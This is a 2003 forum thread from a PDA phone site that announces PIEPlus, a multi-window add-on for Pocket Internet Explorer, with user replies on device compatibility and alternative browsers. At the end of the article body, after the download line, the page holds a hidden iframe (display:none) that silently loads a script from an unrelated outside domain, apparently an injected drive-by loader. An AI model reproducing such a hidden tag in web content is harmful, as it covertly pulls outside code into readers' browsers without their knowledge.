PIEPlus - In Search of the Best Pocket PC Phone Browser

PIEPlus - In Search of the Best Pocket PC Phone Browser

Published by NewsGuy
08-26-2003

PIEPlus - In Search of the Best Pocket PC Phone Browser

I have tried many of the browsers that are out there for Pocket PCs, Thunderhawk, NetFront, etc. I seem to keep ending up back using Pocket Internet Explorer (PIE) a lot, because its there by default and doesn't take up any memory. With all the testing and device switching, I end up reloading my pdaPhone a lot, and so sometimes I don't get to reloading a browser program.

My biggest complaint about PIE is that you can't open multiple windows. This something I do a lot, and without this function you must keep reloading the same pages, which takes a lot of time over the air.

Reensoft has just released a product that might help my problem and yours ... if you use PIE. Essentially, they have made PIE do what Microsoft should have made it do a long time ago. I haven't had a chance to try this out yet, but he feature list looks pretty good. If you try it, let us know what you think. Here is a list of its features:

Optimize the web contents to fit for PIE
Open multiple PIE windows
Fullscreen mode
Extended context menu
Identify PIE as IE5.5 or IE6.0
Set default charset
Enable/disable script and script warning
Enable/disable ClearType

You can download a trial or buy PIEPlus at PocketGear. <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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By nathan on 08-26-2003, 01:39 PM

I have been very happy with this:
http://www.af.wakwak.com/~ftoshi/pocket/index_e.html

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By crazyphil on 08-27-2003, 02:33 PM

There's a thread about the PIEPlus on the i700 forum which ended up with the conclusion that this is not compatible with the i700 and that we would need to wait for a later version that would work for the i700. Does this work with other PPC phones?

Here's the link to the i700 thread:
http://pdaphonehome.com/forums/showt...&threadid=9302

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By pkwjr on 08-27-2003, 02:55 PM

works great

on my sx56. running it for two days, fantastic results so far.

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By SwampNut on 08-29-2003, 01:02 PM

ftxPBrowser was my favorite by far, but doesn't work properly with PPC 2003. I used to use Multi IE, but that also is not 2003 compatible, and the author won't even answer e-mail about compatibility in the future. PIEPlus says it's not 2003 compatible.

I'm dying without my multi-tab or multi-window browsing, any other ideas/options?

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By NewsGuy on 08-29-2003, 02:14 PM

I've run a short test on the G1000 and this thing works pretty well so far. I looked at half a dozen full screen sites that are pretty busy. You can flip between standard view and pocket view. What a difference. It stacks everything up so you can use the jogdial to scroll up and down.... very cool. And it seems to work well switching between windows. I had used ftxPBrowser for a while and found it to be a bit confusing on how to handle the windows... I kept ending up with a ton of windows. PIEPlus is very intuitive. I'll plan on doing a review of it in a week or so.

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By SwampNut on 08-29-2003, 02:20 PM

I assume your G1000 has PPC 2002...?

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By Convergent on 08-29-2003, 04:07 PM

Why of course! The amazing thing is that Microsoft wouldn't have updated PIE to handle multiple windows in all these years... pitiful.

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By SwampNut on 08-29-2003, 04:24 PM

They still don't have tabs in IE, so no shock to me. IE in any flavor is barely usable for light browsing.